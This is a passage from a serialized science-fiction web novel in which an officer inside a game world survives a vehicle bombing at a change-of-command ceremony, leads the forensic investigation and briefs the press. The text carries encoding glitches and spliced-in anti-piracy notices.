2.1 million credits amounted to a hill of beans, his own ships cost 387 million for his original ship, and the one he received from the pirates was worth an estimated 830 million. If it came down to conscription, all he could do was use the money to arm the populace and hope they killed more of the enemy than each other. Before he could do any more fiddling, he wanted to run some war game simulations for how badly he¡¯d get slaughtered if an invasion force came, he was interrupted by the demolitions crew he sent out. After getting the notification, he then paged the Colonel to let her know that her ship could safely land. He wandered what sort of situation could have delayed someone who looked like a no nonsense leader for three extra weeks without sending word. Hits the fan ¡°It¡¯s all a gigantic cluster out there,¡± Col. Rola told Mark whenever they reached the governor¡¯s mansion. The ride over had been uneventful, if a bit rough going through the jungle patches. She wasted no time fixing herself a four finger whiskey shot, which she downed with gusto. Now they were in the governor¡¯s office, with her retinue in the main lobby area. Rebuilding the mansion had been Mark¡¯s first act as an appeasement to the many factions that looked for government handouts. ¡°Can you be more specific?¡± Mark asked. ¡°We¡¯re outside the major networks and any news that gets delivered is going to be woefully outdated. We only have traders and merchants to ask for the galactic news, but they¡¯re more concerned with prices than politics.¡± ¡°Pirates,¡± she replied. ¡°They¡¯ve been coming out of the wood works in the past few months. The universe is a large place and it appeared random at first, but now it looks like it¡¯s all part of a larger organization that¡¯s probing our weaknesses, testing out their vehicles, and inflicting wounds on us.¡± Mark thought about that assessment. ¡°When you hear hooves, think horses, not zebras.¡± The logistics and size needed to coordinate attacks across lightyears of space would require immense resources, not to mention an in-depth knowledge of how the government and military worked. ¡°That seems¡­¡± Mark paused, thinking of the most inoffensive way to phrase it, ¡°logistically difficult,¡± he said, very diplomatically. She snorted. ¡°You studied Earth¡¯s military history?¡± Of course, it was part of Mark¡¯s implanted memories from being at the Academy. ¡°Yes, which battles in particular?¡± he replied. ¡°The Afghan and Iraqi wars, America.¡± ¡°Yes, I know of them.¡± ¡°Well, the invaded country in that war, they became more lethal over time. They would scout out soldiers locations and setup ambushes in areas they knew the other side, the Americans, would cross. They¡¯d also take out vehicles and other equipment. That¡¯s your first test that you¡¯re dealing with a coordinated enemy. They get more deadly because they share notes, study your weak spots, make targeted strikes, take their losses and learn from them. Now the second test is a little better. The US found for certain its suspicions when they went into the mountains and found what they called ¡®e-jihad¡¯, a network that shared information about how to make the most effective improvised explosive devices and where to use them for maximum casualties.¡± ¡°I see,¡± Mark said. Mark knew that the NPCs didn¡¯t understand there was an outside real-World apart from the game. That meant that something that would be almost impossible, coordinating over light years, could be achieved very trivially in the real World. Since he¡¯d sound like a loon if he explained this, he kept his mouth shut. ¡°And these attacks have also been closer to the Sol System?¡± ¡°You got it,¡± she replied, ¡°And we have no idea where they¡¯re coming from. We¡¯d expect an attack in a place this far out, but within the 75 lightyear perimeter it seems impossible. That¡¯s why we were delayed. Our ship is really a pleasure cruise ship compared to most of the other ones in the fleet, but she¡¯s also a battle axe that can take out damn near anything. Hell, it can take out most planets. So we had to discourage pirates from making any further attacks. Most fled off when we arrived on the scene, but a few brave and misguided souls made an attempt on our ship. Which brings us to you. You¡¯re the toast of the town at the moment. These have all been space battles and most of those battles destroyed the ship and all evidence onboard. The few we managed to capture alive haven¡¯t given us anything useful.¡± Mark decided not to mention his interrogation technique of cutting off a head, regrowing it partially to sustain life, then sticking it in a jar. Even though Mark was personally not adverse to making the sacrifices that come from extreme measures, he didn¡¯t want them to become routine. They should be relegated to extreme, desperate measures. She continued, ¡°You¡¯ve gotten a real treasure trove of documents, co-conspirators, and more. As I¡¯m sure you¡¯re guessing, they¡¯re outfitting you for a field officer position. But you¡¯ll need more than some intel to move that along.¡± ¡°Well,¡± Mark said, ¡°I have one major lead left that I haven¡¯t been able to chase down. I thought about going after it on my own, but the situation on this planet hasn¡¯t been resolved, so I¡¯ve been waiting for relief. I have an informant who might be able to help, but it¡¯s a long shot.¡± Calling his head in a jar an informant was technically correct. ¡°Yes, which is why my orders are to relieve you of command ASAP. IDF wants you to investigate the sources for the attacks, not play regional governor. We¡¯ll have a change of command ceremony and then get you back to investigating. We¡¯ll have a change of command ceremony tomorrow at noon.¡± Standard time used Unix time, but when on local planets, many people reverted back to the old standards. Dusk, dawn, noon, all reflecting the position of the sun in the sky. ¡°Uh ma¡¯am,¡± Mark said, ¡°There won¡¯t be a noon time for a couple of weeks with the way this planet wobbles and turns. Might I suggest T00:00:00+00:00 as a suitable replacement?¡± She gave him a nod. ¡°As for location,¡± he continued, ¡°I¡¯d say the city¡¯s main square should work. It¡¯s an open location that will show the civilian population that control is being effectively maintained. You can either stay here or we¡¯ll escort you back to your transport ship. This is a transient planet, so there¡¯s a lot of places to stay the night that are always looking for new customers. But given the size of your ship and its accommodations, I¡¯m sure most will want to stay in their own bay.¡± ¡°Just bring me back to the ship¡±, she replied, ¡°The sensitive portion of this meeting is concluded, you know the situation in the Sol System. Get us a target so we can nail these bastards to the wall.¡± ¡°Yes ma¡¯am,¡± he responded, then walked with her out of the mansion. The ride back to her ship was uneventful. After dropping her off at her ship, he looked over the exit report Arabella had prepared. As expected, she did excellent work summarizing, bullet-pointing, and organizing his scattered and half-written notes into a coherent framework for effective civil leadership. He wished he had realized this a month ago. Assigning her control of the bureaucratic duty would have saved him some heartache, but by rank, he was the one who had to do it. The military could be unforgiving about who had responsibility for a situation. He gathered the crew together to discuss the upcoming change of command ceremony. 1SG Vidal Roger did not seem pleased with the news. When Mark asked if there were any questions, Vidal immediately responded with, ¡°Permission to speak freely, sir?¡± This was always a sign that good news was not about to be delivered. ¡°Proceed 1SG.¡± ¡°Sir, you aren¡¯t thinking this through like a Marine, because, no offense, you aren¡¯t one. We have not prepared an adequate threat assessment for the location. How many possible sniper perches are there? How can we best obstruct the view of those areas, making a sniper position more difficult? How many exit paths are there from the area? Is anyone allowed to view the ceremony? How do we ID people who are coming in and out? How well will the police be able to see the area? Are there blind spots, obstructed locations, dimly lit areas, etc. The planet is in its dark phase, so we¡¯ll have to setup our own power.If you stumble upon this narrative on Amazon, it''s taken without the author''s consent. Report it. What about deterrents? Are there any natural or artificial barriers we can erect that will funnel traffic, use of dogs or robotic equivalents, surveillance equipment, and other visible deterrents from trying anything? Are there any layered defense strategies in place? We¡¯re defending on the local police here to respond to the situation, we¡¯ll be in the change of command ceremony. The police here aren¡¯t trained combatants, they¡¯re bouncers that keep the peace.¡± ¡°I see,¡± Mark said, ¡°What is your recommendation?¡± ¡°Sir, we scout the area up and down, document every angle of approach and attack, feed it into the simulation computer, then run a red team/blue team attack and response scenario. Find the most likely points of attack. Go over the tactics and training with local police, check their response time and threat assessment capabilities,¡± Vidal concluded. ¡°And how long do you imagine that will take?¡± ¡°Well sir,¡± Vidal was a bit more subdued on this response, ¡°technically we spend a month prepping vital operations like this. But we could probably shorten that time down to two weeks, focus more on getting the police ready for a generalized response rather than war scenario planning out all of the possibilities.¡± Mark shook his head. ¡°For reasons I can¡¯t disclose, there¡¯s a time sensitive component on this operation. Any sort of delay will get shot down. For your next question, no, we can¡¯t avoid the ceremony. If the outer perimeter federation planets are involved in staging a civil coup, then we are going to need military outposts. This area now has strategic and logistic importance. A smooth change of command and hopefully some reforms can turn this into a major base of operations, that¡¯s why Col. Rola has such a large crew here. So we¡¯re doing it. Any other questions?¡± ¡°Just one more sir,¡± Vidal spoke out, ¡°I¡¯d like to note my objection to this. All of the planet¡¯s command personnel are going to be in one location. A strike during the ceremony would leave the planet rudderless. A public CoC is not advisable, it should be done in a secure location like the Colonel¡¯s ship. Additionally, this planet is porous. We couldn¡¯t contain a threat if it broke out.¡± ¡°Objection noted,¡± Mark replied, ¡°Anything else?¡± No one else had anything else to say. The crew didn¡¯t look happy, change of command ceremonies were pompous displays meant to gratify the egos of the incoming commander, and Vidal¡¯s warning put a damper on the mood. Still, they were all professionals and knew how to soldier on. The next day they were waiting ready for the ceremony. Captain Thomas sat next to Captain Smith. She was sitting at attention, a sort of ready pose to show solidarity with the people out in the field. The ceremony consisted of a couple of discreet steps, each carried out with precision. The formation of troops, the presentation of command and honors, inspection, honors to the IDF, remarks from incoming and outgoing commander, march in review, and conclusion. The personnel on the podium stage included himself, Captain Luciana, the Colonel, and a half dozen important local political appointments like the Department of Sanitation and Department of Transportation. A change of command normally meant that the officers would be of equivalent ranks and the personnel would remain the same. This case was much different. During the list of honors, Mark¡¯s list of commendations and medals was impressive for his rank, but absolutely dwarfed by Col. Rola¡¯s accolades. He felt a small twinge of jealousy rearing its head. The place was too open for his liking, as Vidal had warned. Cars flowed through the area, not in the center, but traffic could still be seen and heard in the area. Police kept onlookers back with metal barricades, but they were close enough that someone with enough determination could get through. More worrying, there were protest groups formed up who weren¡¯t happy with being under martial law. They¡¯d started getting louder the longer the process dragged on. Sneaking in attackers amidst protest groups was a common strategy employed in asymmetric warfare. Everything made Mark twitchy. He was in the middle of giving his remarks praising the cooperation between the civil and military sectors when he started staring at a SUV parked close to the ceremony. It wasn¡¯t just that it was parked close, but that it was off kilter in its parking. The trunk was facing towards the podium at an odd angle. Further, the windows were tinted super dark, very rare for a place that was known for long periods without sunlight. It was also close to where he was, only 25 meters away. If he were in charge of the police, he¡¯d send someone to investigate the vehicle and try to locate the owner. But the local police were busy with the crowds and protest groups. The car was only 25 meters away from the podium he was giving his speech on when the trunk lid popped up. His hyper-speed cognition kicked in without him having to manually trigger it. Inside, he saw several suspicious containers aimed at the podium. His encyclopedic knowledge of military protocol told him the minimum safe distance for a SUV rigged with explosives was four hundred feet. They were less than a hundred away. He turned, ran, and shouted, ¡°GET DOWN!¡± at the top of his lungs. He had a choice of whether he should tackle and jump on top of Captain Smith or Colonel Rola. Protocol dictated that he should try to save the highest ranking officer, but he had a connection with Luciana that made the decision to save her inevitable. As he landed on top of her and shielded her body, the explosion detonated. Fire swept through the area and the concussive blast smashed windows and sent alarms blaring throughout the area. He wasn¡¯t badly injured, but the podium they had been standing on didn¡¯t look good. Large chunks of wooden debris filled the area, smoke and fire made it difficult to see. He rolled off of Luciana and tried to run towards the podium to look for Col. Rola. Unfortunately, the concussive blast had damaged his equilibrium, so he drunkenly walked/stumbled to where she was. He found her amidst the debris. A large portion of her hair was sheered off and she was bleeding profusely from her head. Mark started stripping off pieces of his shirt to create field bandages. ¡°Dumb bastards,¡± Col. Rola said, cackling a bit as he applied pressure to her head. ¡°Someone my size, an explosion is the worst way to try to take them out. I¡¯m too low to the ground to get caught in the blast.¡± The fact that she was talking was good, she wasn¡¯t dead or suffering from an obstructed airway. He felt her pulse. Weak, but stable. ¡°Hang on, you probably have a concussion and are in shock. I¡¯ll get you stabilized.¡± He started probing underneath her, looking for blood spots or signs that her spine had been damaged. So far as he could tell, her assessment was correct. She was so short the blast only caught part of her head. If she were taller, it probably would have sheered her head off. Still, he checked that no vital areas were leaking blood outside from the one he had one hand applying pressure to. ¡°Can you move your toes and fingers?¡± he asked. She wiggled them. He couldn¡¯t see her toes, but he could see her foot moving. ¡°Yeah, I can still feel them. Be a good sport and roll me over onto the side of me that isn¡¯t burnt up?¡± He complied with her request and kept pressure on her head wound. Emergency services arrived and started prepping the Colonel for transportation. Mark allowed them to do their job and went to go check on Luciana. She was perfectly fine outside from grass stains. The rest of his crew ran over to join them. They did a quick roll call and found all of their personnel was accounted for. Vidal nodded to indicate that he wanted to talk to Mark in private. ¡°You ok sir?¡± he started off, a look of concern in his eyes. Mark had blood on him, but it wasn¡¯t his own. ¡°I¡¯m fine, don¡¯t worry about me,¡± Mark responded. ¡°What did you want to talk to me about?¡± ¡°Just to watch your ass,¡± Vidal said in a low voice. ¡°This is the second time the police have been publicly embarrassed. We¡¯ve all seen your freaky reflexes in combat, but the way you dived off the podium before the explosion and saved Luciana first is bad. My guess is they¡¯re going to try to pin the attack down on you, saying you did it to take control of the planet. It¡¯s a way to divert attention away from their own failures.¡± ¡°Your advice is noted,¡± Mark said. ¡°Get everyone suited up, secure the perimeter, and let¡¯s start bagging and collecting evidence. If you¡¯re right, we¡¯ll need to conduct our own parallel investigation into what happened.¡± Explosive aftermath The medical evacuations were quick. Domestic and foreign terrorists like to use an initial bomb to injury people, then when medical personnel arrives, they detonate another bomb or commence an attack to create an even deadlier secondary attack. As a result, the way paramedics responded to bombings is known as ¡°load and go¡±, where they round up as many wounded as possible and get them to a triage area at least a thousand feet away from ground zero with additional security in place. Police officers then conduct a search for the security and safety of the scene, including marking any items that could be hazardous. Amongst other hazards, there were potential blood borne pathogens, metal and glass debris, potentially collapsable structures, downed electrical wires, hazardous materials, and secondary explosive devices. With fires ongoing, they set up cofferdams around storm drains so evidence wouldn¡¯t be washed away. Mark told the fire department not to overdo watering down fires, even though he knew they would probably ignore him and do their job the way they normally did. Then they look for witnesses, attempt to preserve any transient evidence, and document the scene. Once the perimeter was secured, all essential personnel put on personal protective equipment, (PPE), which included Tyvek coveralls, leather and rubber gloves, metal shank boots, and respiratory and eye protection. Unfortunately, not everyone had the necessary gear, so Mark put those people on gathering witness statements. Once all of the dead and wounded were removed from the area, hazards were documented, and personnel in the area equipped proper protective gear, the investigation began. Forensic work is mostly boring work, consisting of meticulous and close attention to details. It consists largely of finding debris, cataloguing it, marking distances and locations, gathering lots of witness statements, most of which come from people who do not want to talk to the police. The core tenant of forensic investigation hadn¡¯t changed in three hundred years: ¡°Wherever he steps, whatever he touches, whatever he leaves, even unconsciously, will serve as a silent witness against him. Not only his fingerprints or his footprints, but his hair, the fibers from his clothes, the glass he breaks, the tool mark he leaves, the paint he scratches, the blood or semen he deposits or collects.¡± All investigations then proceeded to the next step, establishing the placement of a suspect at the scene of a crime. Every object at a crime scene needs to be placed within some point of contact or transference to an individual. There¡¯s a few problems that law enforcement has to deal with in order to make this work. The scene must be quarantined from contamination, even from the officers themselves. Then there must be an adequate facility to properly process all of the collected data. If a crime lab is inadequate to the research needed, then the evidence gets tagged and tracked to another location, ensuring the evidence maintains a strict seal of custody at every step along the way. If the evidence becomes unaccounted for at any step of the process, it becomes unusable. Prior to bagging any piece of evidence, video and photographic evidence must be taken to properly reconstruct the crime scene before altering it in any way. Mark set up a hasty evidence collection command post to perform all the data cataloguing and evidence collection, as well as set up chains of custody over evidence. He also needed to create a log of all personnel who entered and exited the scene, how long they were there, why they were there, and what time they entered and left the area. Unfortunately, the police staff of Gebo were woefully unprepared, as was his entire staff. The police dealt with big city crimes, but their training was crude and rudimentary. The military staff dealt with combat, not forensic investigations. This meant Mark was the only one capable of doing the investigation. Even Luciana had trained as a combat pilot, not as an investigator. For the first time in his life, Mark missed the humandroids that could perform these sorts of mindless, manual labor with great ease. As it was, he could only use them to set up an outer perimeter and mark entry and exit paths so evidence didn¡¯t get trampled. The other problem Mark ruminated over was the facility he¡¯d do the investigation at. Not only was he certain that the forensic lab wouldn¡¯t be up to his standards, but he also didn¡¯t know if he could trust the local police. Whether there were police on the take or whether they would destroy evidence out of ignorance, he didn¡¯t want to leave the investigation in their hands. However, if he didn¡¯t include them at all, their bitterness could lead to a major lawless problem. If you ticked off the local police, the way they got retribution was by not policing areas, only responding to calls, which lead to an increase in crime and a hostility to the political administration. He was so done with the bureaucratic nonsense, but it seemed fate was telling him that this was going to be his life from here on out, at least until the Colonel recovered. He decided the best course of action was to use the Colonel¡¯s ship as the main investigation point. He¡¯d select from the most capable police officers and have them under a restricted parolee status as investigative aids and as training for investigating any future attacks. A common mistake people make is to assume that when a blast goes off, all of the evidence is destroyed. This isn¡¯t true. 90% of the container evidence is recoverable. Even portions of the explosive could be found if the bomber was a novice. Bombs require pressure to form, and amateur bombs tend to use cheap materials for casing, weak metals and plastic. The professional term for a bomb that didn¡¯t fully detonate is a ¡°low-order explosive¡±. The downside of recovery is that the container is not in its original shape or form and can be scattered for thousands of feet away from the initial blast. Searching thousands of square feet for tiny fragments is a long, boring, and tedious process. He was at least lucky that no inclement weather was going to destroy the evidence. Luciana walked next to them as they moved forward, photographing and documenting each piece of evidence before they collected it. They would be out here for several hours. He had some of the cops who were on scene wrap up the remnants of the van in plastic sheets, load it up onto a carrier vehicle coated with new tarpaulins, and send it off to be processed. The van would be a major part of the investigation, so he needed it in a place he could fully comb over it. ¡°So, what do we know so far?¡± Luciana asked him. ¡°Well, what we know is precious little. The first part we know is that this was not a military bomb. The smoke was white. White smoke indicates high levels of air in the mixture, black smoke from explosives like c4 are from high levels of explosives. The second thing we know is that they did use a high explosive, since the blast sent out a shock wave and detonated faster than the speed of sound. You can also see the brisance from the all broken glass. So it¡¯s someone who has connections somewhere. The third thing we know is that this was an amateur hour attack. There¡¯s two things you can do to make an explosion more deadly. The first is to confine the blast radius so it goes in one direction. An omnidirectional blast loses force far more than a directed charge. Using a van as a delivery mechanism might put a damper on directing a charge. But the real clincher is that they didn¡¯t pack their explosives with extra ballistic material. They depended on the explosion alone to do the job instead of adding additional pieces to increase the casualty rate. If this were my mission, I¡¯d have detonated and had a team on standby. While everyone was disoriented, I¡¯d have brought in the cleanup crew to shoot everyone and verify that the target had been eliminated.¡± ¡°That¡¯s the problem,¡± Luciana said, ¡°Who was the target? You, me, the incoming Colonel, the civilian government, all of us? Establishing a motive is going to be difficult if we don¡¯t know who the target was.¡±If you come across this story on Amazon, it''s taken without permission from the author. Report it. ¡°Let¡¯s hold off on that,¡± Mark replied, ¡°For now, we just need to work the scene and reconstruct what happened, then we¡¯ll find out who did this and bring them to justice.¡± Once they finished processing the initial blast area, they got the police to start walking slowly through the area and pick up every piece of metal they could find. If they found something, they would raise their hand, the police photographer would run over, take a picture of the location, then the officer would collect it. Mark also collected air samples, swabbed for chemical residue using disposable forceps, then labeled the swab and documented where it was taken, changed gloves and then swabbed for non-tainted areas to have a control sample to compare against, and vacuumed up dust from the area, which could contain traces of explosive material and help with identification. It was slow, monotonous work. After ten hours, they had patrolled the area carefully enough that Mark felt confident the scene was as well processed as it could be. Coordinating such a large area in a populous region is nearly impossible for any prolonged time period. They removed the police quarantine around the area and let people continue moving and working around the areas that hadn¡¯t been affected by the blast. They took all of the evidence to a special holding area in the Colonel¡¯s space ship. He¡¯d have to look into what facilities the locals had, what equipment he could get from civilian labs, and what he could beg, borrow, or steal from the traders. As he and Luciana went back onto Mark¡¯s ship, Mark pulled Luciana into the Captain¡¯s room. ¡°Hey, we need to talk,¡± he began. ¡°About what?¡± ¡°I¡¯m going to need you to take over the other investigation. I have one lead that I¡¯ve been playing close to the chest. EVE is an advanced artificial intelligence. I had her reconstruct the jump point for the ex-police chief¡¯s ship. Then I had her follow everyone who jumped from this planet to another solar system, and checked it against the logs. From that, she believes that she can track wormhole jumps with high precision and knows where the ex-chief took off too.¡± This was all half-true, as were many of the stories he told Luciana. In actuality, tracking warp hole jumps was not a science, you couldn¡¯t precisely track where someone would jump from the math alone. What you ended up with were varying percentages of certainty about where the coordinates went. AIs didn¡¯t have this type of intuitive grasp for filtering out signal vs. noise. Instead, after EVE ran her calculations, that information was sent to his brain in a jar, ¡°Mr. Headley¡± as he liked to think of him, who did his own calculations and non-literal ¡°gut¡± instinct. It was surprisingly effective, at an 80% probability. ¡°I¡¯ll get Colonel Grohall to authorize a new vehicle for the mission. It will probably be less equipped than what we¡¯re used to, but we can¡¯t risk using one of our current vessels because they may have researched us. We can¡¯t risk the operation on them immediately recognizing us.¡± She agreed. She sat on his bed. ¡°Jesus, we¡¯re getting shot at, blown up, involved in space battles. I couldn¡¯t eat a salad because my hand was shaking so hard,¡± she said. He sat beside her and gave her a side hug while she rested her head on his shoulder. ¡°Think it will go back to normal?¡± she asked. Mark thought about it. ¡°I don¡¯t know,¡± he finally replied. ¡°There¡¯s just too many variables. All over the universe, there¡¯s been pirating raids. If this becomes a prolonged war, then this might be the new normal.¡± They sat there together for a while, resting on each other. Mark gave her a mild shake and said, ¡°Come on, let¡¯s plan on having a going away party for whichever crew members you want. Once I get confirmation on the ship, we can split up teams appropriately.¡± She smiled at him. ¡°I¡¯d like that,¡± she responded, as she squeezed him back. They got up and Luciana left. After she left, Mark flopped back on his bed and put his hands to his forehead. What a mess he was in. He wasn¡¯t any closer to the NVA seed, or finding out what was going on, and he¡¯d be stuck managing the planet while Luciana was off finding out¡­ well, whatever was waiting wherever the other ship had jumped off to. He took two minutes to throw himself a pity party, then got up and went back to work. He had a terrorist attack to dig into and a city-state to rebuild. He couldn¡¯t afford to waste time. His first priority was putting in a call to Col. Grohall. He needed to sneak in a different ship and get the crew on there. He sent out an encrypted message for the Colonel, explaining what he needed, the current state of the investigation, and Colonel Rola¡¯s condition. If all went well, they should be able to get a new ship within a week. He then pulled out his data pad and began making notes from the blast site. Professional photographers could now photograph a scene and make it into a full 3d digitized space, allowing an investigator to literally step back into the scene. It was also pretty snazzy at trials, allowing prosecutors the ability to literally walk the jury through what they thought happened. Each scene was signed by a digital encryption key to prevent tampering. You could take photographs and video with less fancy equipment, but they typically didn¡¯t encode the 3d data necessary to do a full walkthrough reconstruction. If you had the time and money, you could take measurements from the scene itself or from satellite photos and then encode 3d data into the photographs after the fact, but the time and money to do so usually meant that most investigators just used a professional photographer with the correct rig to handle the big work. As Mark stepped back into the scene, he began looking over the scene. The blast pressure from the explosion sent shock waves that were reflected up into the air and down the streets, causing structural damage and glass debris everywhere. It was a seated explosion with one clear epicenter of the blast, near the van that he had spotted. He contacted EVE and told her to reconstruct the possible blast paths and where fragments might still be that the team hadn¡¯t discovered. He then went through the voice recordings, eyewitness testimony, and police sketches looking for any clue as to who left the van out in the open. The most important pieces were the recovered vehicle parts, even though they hadn¡¯t been processed yet. All vehicles had a Vehicle Identification Number, but most also had an additional Confidential Vehicle Identification Number, or CVIN, that was used to track down chop shops or the public VIN plate on the dashboard has been removed and replaced with a counterfeit. Mark thought he did a decent job during the crisis, but afterwards, he had some doubts about his performance. Had they verified that everyone on the scene was who they claimed? It was easy enough to get fake police and medical outfits, and even ID could be easily forged, so they needed to vet that everyone had proper identification that passed all tests besides physical inspection. He had screwed up one other area as well. Using thermal equipment after a blast can help quickly identify components used in the blast, they would be far hotter than pieces not used in the blast. This was especially useful in identifying fragments embedded in walls, ceilings, and other hard to see areas. He¡¯d need to set up a procedure to make sure that no lapses in judgement happened again. What else had he messed up? There was a criminal joke that went, ¡°Every criminal commits ten mistakes when they commit a crime. A genius can remember eight of them.¡± Most criminals were not geniuses, hence, they ended up getting caught. He felt that he was in the same boat. He hadn¡¯t gotten a warrant to search the nearby buildings for fragments and paraphernalia related to the bombing. As the place was under martial law, he didn¡¯t need to get a warrant to do anything. But appearances matter, and not doing things the correct way would cause resentment down the line. He needed to be careful. He also should have had his men go up in a chopper and document the scene from an aerial perspective. It might have been a bust, but it could showcase clues that a ground perspective couldn¡¯t. At worst, it couldn¡¯t have hurt anything. He filed all these thoughts away for his after-action report, where he¡¯d come up with a systematic approach for police operations. For now, he¡¯d need to commandeer the medical crew of Col. Rosa¡¯s ship and get them doing the forensic work: looking at tool marks, checking tire and foot impressions, fingerprints lifted from the van and explosive casings, and analyzing trace evidence. He also needed to write up the narrative description report, which summarized all of the findings to date. Normally, he logged out of the game to get his training, but he was so exhausted from the days events that he simply passed out on his bed. Accounting Mark awoke with a start. He opened his eyes and saw Luciana above him shaking him. He was too tired to process the image correctly and jump to his feet as a quick shot of adrenaline hit his veins. ¡°Jesus, you scared me,¡± Mark said, putting his hand over his rapidly beating heart. He started slow breaths to calm his heart down ¡°All of the stress getting to you?¡± Luciana asked, concern etched in her voice. ¡°Yeah, I think so. What did you wake me up for?¡± ¡°Paparazzi is swarming outside the ship. They want an update on the investigation.¡± Mark rubbed his eyes and stretched. ¡°I imagine so. It¡¯s a good thing. We need to keep everyone calm. Tell the people outside that I¡¯ll be holding a conference in the auditorium area of this ship in one hour.¡± She smirked at him. ¡°And I¡¯m your secretary now?¡± she asked with a hint of sarcasm. Mark shrugged. ¡°Rank brings privileges. It would be really silly of me to go outside just to tell everyone that they¡¯ll see me again in one hour. Besides, the cameras would much rather look at you than me,¡± he said with a wink. ¡°Are you trying to use flattery to get me to do what you want?¡± ¡°Would you believe me if I said ¡®no¡¯?¡± She patted him on the shoulder. ¡°Fine, but only because I get to do the cool missions while you¡¯re stuck playing babysitter to this deadbeat planet.¡± He watched her as she walked away, then set about doing his tasks. Personal hygiene, a status update from the med bay, and a quick review of what the chemists had found. He decided to wear his officer¡¯s uniform again as military clothing had one huge advantage over civilian clothes. There was only one right way to wear a military uniform. Every ribbon, medal, and cord belonged in an exact and specific place. As a dual commissioned officer, he could have chosen to go with the IIO uniform instead, but he had more awards as a commissioned Navy officer than as a IIO officer. Vanity won the day. The Marines and police scanned each reporter and moved them into the auditorium. Instead of the traditional cameras that Mark was used to from his time period, the reporters used miniature flying devices that moved around the room. The feed was sent to each broadcasting station at the same time, and the editors could choose what to show while commentators discussed what was happening. After all the reporters were gathered together, Mark called for quiet and started his speech. Most politicians used smart contacts that allowed someone else to send them notes in real-time, but Mark had EVE for that. Some politicians that wanted to look quick on their feet would make a big show of showing they didn¡¯t have a contact in, but it was such a huge disadvantage that only showboats or populists who just liked making up nonsense did it. ¡°As you are aware, a little over 30 standard hours ago, there was an attack on this planet against me, my crew, innocent bystanders, and the incoming administration. Right now, 42 deaths have been confirmed and over 200 people are injured. We¡¯re going to revive anyone who has made a backup copy of themselves as well as anyone who still has an intact brain at no cost to them. Legal and medical teams are going through the records to see if any of them have a DNR, Do Not Resurrect, clause in their will. The investigation is still early and ongoing, but we can say at this time that we have recovered most of the explosive device. A team of highly trained chemists are analyzing the chemical residues left over, which will tell us where the device originated, and then to who manufactured the device. As of right now, Col. Rosa suffered concussive brain damage and busted eardrums. As such, I will remain the interim prime minister of the planet. There¡¯s not a lot to go on at the moment, but we¡¯ll keep you updated as new developments occur. At this time, I¡¯ll begin taking questions.¡± All of the reporters shot their hands up, Mark randomly pointed at one, a middle-aged woman with curly brown hair peppered with a few grey streaks. ¡°If they can¡¯t be resurrected,¡± she began, ¡°when will you be moving onto the appointment for the positions of Lt. Governor, Attorney General, Secretary of State, Auditor, Public Service Commissioner, and Secretary of Treasure?¡± ¡°Excellent question,¡± Mark replied, ¡°Col. Rosa was going to begin implementing some reforms and this was top of the list. The governor has far too much power in terms of his appointment capabilities, which leads to corruption. If they can¡¯t be resurrected, there will be a vote for who should lead the system.¡± Hands shot up again. This time he selected a young looking man with a receding hairline. ¡°Is there a conflict of interest in having you as the lead investigator of this case? How do we know you¡¯re not a suspect?¡± Mark wanted to rattle off a snarky response, but kept himself in check. Getting on the bad side of the press was not a move he wanted to make. When he¡¯d been a cop, a suspect alleged that he¡¯d destroyed his home as a claim of harassment by the police force. Unfortunately for that home owner, the scene technicians had taken photographs of everything that happened along the way, and showed those to the reporters covering the story. It never aired. He remembered a quote from his criminal justice studies, ¡°The camera never lies, but a camera in the hands of a liar is a dangerous instrument.¡± By maintaining a professional relationship with the press, he¡¯d managed to avoid any controversy in his cases. ¡°Well first of all,¡± Mark said, trying to keep the annoyance out of his voice, ¡°I could have had this post if I really wanted it. However, my primary task was finding out the location of the fugitive governor and other officials. Now, it¡¯s solving this case, though if it appears it¡¯s unconnected, I may ask for another investigator to take over it.¡± They were in the ass end of the galaxy, the odds that his request would be granted were slim to none. Still, it sounded like a good argument. ¡°Second, I wouldn¡¯t be implementing measures to limit my own power if I were trying to take over the government here. Third, I can account for all of my movements with corroborating evidence from staff and witnesses. It would be a huge conspiracy to fake so much evidence.¡± Mark looked for another reporter to call upon when the man followed up. ¡°How do you account for your ability to jump out of the way right as the bomb went off?¡± ¡°Luck, genetics, and training,¡± Mark said. ¡°Our Navy staff cross-trains with the Marines in several field combat simulations. This includes all officer staff as well. With luck, I happened to notice the vehicle backdoor opening up with the explosives, which with training, I recognized as an improvised explosive device. My genetics are the final factor, I¡¯m in the top 1% of pilots thanks to my incredible reflex speed.¡± He waited for the man to have any follow-up questions, but he didn¡¯t have any. The rest of the questions he answered were more routine. How long was it going to take to rebuild the initial blast area, could people return to work, did he think that there would be more terrorist attacks in the future, and so forth. He answered them as best he could given the limited information he had on hand. ¡°Thank you for your questions, if you have any further questions, there¡¯ll be a designated holographic address that you can send them to.¡± Holographic addresses were a replacement for emails that required a two-way verification and encryption of both the receiver and the sender. That meant spam was essentially reduced to zero, though email still existed despite 200 years of trying to get rid of it. As the reporters shuffled out, Mark walked to the chemical analysis unit. This was normally used for breaking down material into different components then remaking it via the replicator miniature facility, but now it was being used for chemical analysis. He found the chief chemist in the lab, working alongside her junior staff members. One of the perks of having EVE in his brain was that he could memorize ship crews at a glance, which worked out great since he normally had a difficult time remembering names. The chief chemist was a red-haired, middle-aged lady named Tina O¡¯Farrell. She¡¯d best be described as ¡°mousy¡±, but her voice was firm when talking about her areas of expertise. As he approached, he could see that she had all of the evidence they¡¯d picked up reconstructing into three separate devices. ¡°Hello Dr. Farrell,¡± Mark greeted her, ¡°What do we have so far?¡± She gestured at the table. ¡°This was a there-step sequence bomb. It used an electrical detonator, a cast booster, and the blasting agent. The residue vacuumed up from the scene appears to show that the primary explosive for the blasting agent was cyclotrimethylene trinitramine. It¡¯s very stable stuff, resistant to heat and damage, as you¡¯d expect from a military grade explosive. So a booster is needed to get the kinetic energy up high enough to fully detonate. It looks like it¡¯s a combination of pentaerythritol tetranitrate and trinitrotoluene.¡± EVE translated that for Mark. The explosive used RDX, an explosive similar to C4, and a combination of PETN and TNT to make a bomb. ¡°How complex is it to make this?¡± Mark asked. ¡°Incredibly,¡± Tina replied, ¡°All of those components are tightly controlled and regulated. But there¡¯s something interesting to go with that All explosives are required to be marked with dimethyl 1-1,3-dinitrobutane, or DMNB. Plastic explosives are untraceable, so this allows scanners to detect it on incoming ships. Every legal source of these chemicals tags and traces their supply.¡± Mark nodded. ¡°So we¡¯re looking for a company producing off-market supplies for a black market. What¡¯s the legal use of this stuff?¡±This story originates from Royal Road. Ensure the author gets the support they deserve by reading it there. Tina shrugged. ¡°That¡¯s probably a better question for the engineers on the ship." EVE chimed in his head. ¡°It¡¯s used for asteroid mining.¡± Of course EVE would know, but he worried about 